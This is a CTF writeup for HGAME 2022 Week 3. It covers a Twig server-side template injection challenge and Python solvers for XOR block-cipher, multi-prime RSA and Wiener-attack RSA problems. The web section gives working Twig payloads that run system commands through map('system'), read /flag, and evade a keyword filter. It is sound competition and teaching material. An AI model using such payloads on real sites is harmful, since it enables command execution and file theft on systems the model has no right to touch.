

# HGAME 2022 Week3 writeup by cl1ng

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## Web

### SecurityCenter

在json文件中找到了 twig 关键字，方向应该是模板注入，随便点一个链接，发现注入点在 url 参数

用 `{{7*'7'}}` 进行测试，输出49，是模板注入没错， twig 的版本是 v3.3.7，尝试一些payload

`cat` 命令应该是被禁了，不过可以用 `ls` 得到 flag 的位置，`?url=`

`{{[%27ls%20/%27]|map(%27system%27)|join(%27,%27)}}`

您即将离开本页面，请注意您的帐号和财产安全!

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

`?url={{[%27/flag%27]|map(%27file_get_contents%27)|join(%27,%27)}}` 得到

#### Summ3r 安全中心

Hacker! preg\_match('/hgame/i', \$text)

[跳转](#)

正则匹配的是 hgame，所以只要把hgame给换成别的字符输出就好啦

`?url=`

`{{[%27/flag%27]|map(%27file_get_contents%27)|join(%27,%27)|replace({'%27hgame%27':'%20%27a%27'})}}`

### Vidar shop demo

这题一开始，注册了一个电话，密码都是1的账号，登进去发现已经被解出来了（别人先注册的），后来不管怎么注册，登录都是用户不存在。。。。

## Crypto

# Block Cipher

```
import operator
from functools import reduce

def xor(a, b):
    assert len(a) == len(b)
    return bytes(map(operator.xor, a, b))

iv = b'Up\x14\x98r\x14%\xb9'
key = b'\r\xe8\xb86\x9c33^'
parts = [b'0\xff\xcd\x3\x8b\\T\x8b', b'RT\x1e\x89t&\x17\xbd',
b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']

plain = ""
for index, cipher in enumerate(parts):
    plaintxt = reduce(xor, [cipher, key, iv if index == 0 else parts[index - 1]])
    print(plaintxt)
    plain += str(plaintxt).replace('\\', '')
print(plain)
```

# Multi Prime RSA

```
from libnum import s2n, n2s
from gmpy2 import invert

p =
61789932148719477384027458333380568978056286136137829092952317307711908353477
q =
91207969353355763685633284378833506319794714507027332929290701748727534193861
r =
105471299607375388622347272479207944509670502835651250945203397530010861809367
s =
83153238748903772448138307505579799277162652151244477391465130504267171881437
n =
10393443721650871000010639205981518123241510646848418452509747585252651485677061
03784958424873181721352440209284812493753972556519482026327282644619091466886523
80484124827721035317338340794459845384811381586690859533561945854948695876449010
38084753295980858421849630650684994898864679110872950871637625992846220551854569
05774507245781667293199205317692029829495961487347944813874415423771980660778986
21114584171241263115636912914647011913513637815820345957659624616919141948856083
27340460761076730919958600218632398826086384581499302559441848638012783865510319
80146460231515747754411678651752698881001464973981424240781413084941947261875289
72553895972057249632934849987058005799754084448830911105924074508104832476286657
29483712228392787180344357398276771900255008024536268723562086127184172496494745
71197167076916403582394186357812640566250930361276229969553128128312736245440129
55602010818883596613142595643179641772043647409338177079643162952305437825849754
60132224949745492621404155851589859409664154594781507228321196913086975101890264
47359189994055885090735411738332296254011208547676914004864732327863884217733456
28736977108709451470846868564182037522083548505348257085261936309117332420333450
34618239836108868499309442505539288555060126845042115255429985752756267841297363
45142772399109273619522445919
e = 65537
```

```

c =
84467739549646641152039419086978726120996024673441540621797598641886576068002454
21192318732591318612088785220300099230579915267613464231302421218844932577320677
00857897379859545356609151834223804262174935191718271211809221730601602827122249
23808603058097137610472498780104950068913412260983432158660922376114053807946083
02138246743616010463676372270940183819012914886596427205495838568127478775196008
04325570421770575999289389175021646347371879234023647657507178519047236746071420
32715518821383929338228878785377754022619264476102882225616570678739589113476590
82290360444684735191661416106047914850717028088549446724181242032893281247933481
98048601338476086482318248264508789781967910205393740835345086784345145351367491
19771793375741496781159491369258831416166933314773304817104438654689234647518119
74827021644685424301878850741631778432859489999433280491590218738212542674710675
23609151007885131921896462161216356454116929796355815756642621369974260365378070
33629054297159988632523282198108034185895060915781376941645533793509669663562342
64181663167371311744356185430580863427147233308145864960308053663211817232927317
10369013923285787724941830672247377301048663929453294620044701627159066468762709
11313751755943582262328414811282747301003073632959682935727551864157679829806654
1516764673029908084962144713

R = (p ** 2 - p) * (q ** 3 - q ** 2) * (r ** 5 - r ** 4) * (s ** 7 - s ** 6)

d = invert(e, R)

m = pow(c, d, n)

print(n2s(int(m)))

```

## RSA Attack 3

```

from __future__ import print_function
import libnum

def continued_fractions_expansion(numerator, denominator): #(e, N)
    result=[]

    dividend = numerator % denominator
    quotient = numerator / denominator
    result.append(quotient)

    while dividend != 0:
        numerator = numerator - quotient * denominator

        tmp = denominator
        denominator = numerator
        numerator = tmp

        dividend = numerator % denominator
        quotient = numerator / denominator
        result.append(quotient)

    return result

def convergents(expansion):
    convergents=[(expansion[0], 1)]
    for i in range(1, len(expansion)):
        numerator = 1
        denominator = expansion[i]

```

```

        for j in range(i - 1, -1, -1):
            numerator += expansion[j] * denominator
            if j==0:
                break
            tmp = denominator
            denominator = numerator
            numerator = tmp
        convergents.append((numerator, denominator)) #(k,d)
    return convergents

def newtonSqrt(n):
    approx = n / 2
    better = (approx + n / approx) / 2
    while better != approx:
        approx = better
        better = (approx + n / approx) / 2
    return approx

def wiener_attack(cons, e, N):
    for cs in cons:
        k,d = cs
        if k == 0:
            continue
        phi_N = (e * d - 1) / k
        #x**2 - ((N - phi_N) + 1) * x + N = 0
        a = 1
        b = -((N - phi_N) + 1)
        c = N
        delta = b * b - 4 * a * c
        if delta <= 0:
            continue
        x1 = (newtonSqrt(delta) - b)/(2 * a)
        x2 = -(newtonSqrt(delta) + b)/(2 * a)
        if x1 * x2 == N:
            return [x1, x2, k, d]

if __name__ == "__main__":
    n =
50741917008834493299070225691169478840849396874952761442161456861294414476488971
72294440208136588933629837144541599807190263663613187894152794171728585363819388
70379267670180128174798344744371725609827872339512302232610590888649555446972990
41931344568785263630551880123613203261835084770523464352155785143471138966413027
44683544052738732182642222938585094778606348890018984625477128001531117745649392
79190835857445378261920532206352364005840238252284065587291779196975457288580812
52659718533203634233014725031226281699462531748286984938842439743747050244981513
20005884250280559644322981769421246971055090570905466003307603643857533139230035
49670107599757996810939165300581847068233156887269181096893089415302163770884312
25595758466096450602800292216476745328797310296191078131235168648804751093299793
77005979927055578811726401751174760175039182945342058980464839817075585215589920
58512940087192655700351675718815723840568640509355338482631416345193176708501897
45864984153919299314279040273489894835238235076612500018602626116727701474818301
28444406033849896476641900748530866934085297377671475924329794690206717721526528
65219092597717869942730499507426269170189547020660681363276871874469322437194397
171763927907099922324375991793759

```

e =

```
77310199867448677782081572109343472783781135641712597643597122591443011229091533
51675892523894975549139548940892243749367025255092082664144218968390797392684350
54367300148999185874779130322861535452470634938859829411949962517998829841451557
33050069564485120660716110828110738784644223519725613280140006783618393995138076
03061646339828481955062761210201021431523526994525174140789969227497864266365068
71577364178312904048711819024639043110954483684984321472929388254189305271887206
96497596867575843476810225152659244529481480993843168383016583068747733118703000
28742337409405189572449419345517513112024309706527080445778702649257891658453686
35484458139168194178570640376641016844550001849875312523445828995897462721739700
83733130106407810619258077266603898529285634495710846838011858287024329514491058
79055730504138961465073026777448295466672694988631338688106659394678946002839952
32457771713203194446735512683791262038625766275401778882902657144180643347524999
40587750374552330008143708562065940245637685833371348603338834447212248648869514
58504787144206041262216427689476623838389469375934759097792630658108039068536061
54077666005735275650169148301320664284547381353801789595906921455774188116776390
50929791996313180297924833690095
```

c =

```
16525172991739452979316334430084899239402133742947478971180504165511684572248030
16778171650532536550274592274047826073731074774190833338448719486736266727042339
77397989843349633720167495862807995411682262559392496273163155214888276398332204
95418525203061647323581499936613203118463154120955416993814620540240041230763856
71321286903790794836331715353752786893261890579302595349833742968731101996365589
62144635514392282351103900375366360933088605794654279480277782805401749872568584
33521563074026594413334703807033789103556065843476392457650896993886656623592658
76851088111542297474234104764218600597694853565673018974137670888238075105685612
54627099309752215808220067495561412081320541540679503218232020279947159175547517
81150128084659622616514801376229386113154433144416507018667218602741008267160289
25087394737241436983961053926231640257121243292549333535093847484031543423227252
03183050328143736631333990445537119855865348221215277608372952942702104088940952
14285152365163957440907548410685740365145312103657776767243061272802244437087422
30017785803876351973250435247193967077133859634329158552271523718005275360485555
51237729690663544828830627192867570345853910196397851763591543484023134551876591
248557980182981967782409054277224
```

```
expansion = continued_fractions_expansion(e, n)
```

```
cons = convergents(expansion)
```

```
p, q, k, d = wiener_attack(cons, e, n)
```

```
m = pow(c, d, n)
```

```
print(libnum.n2s(m))
```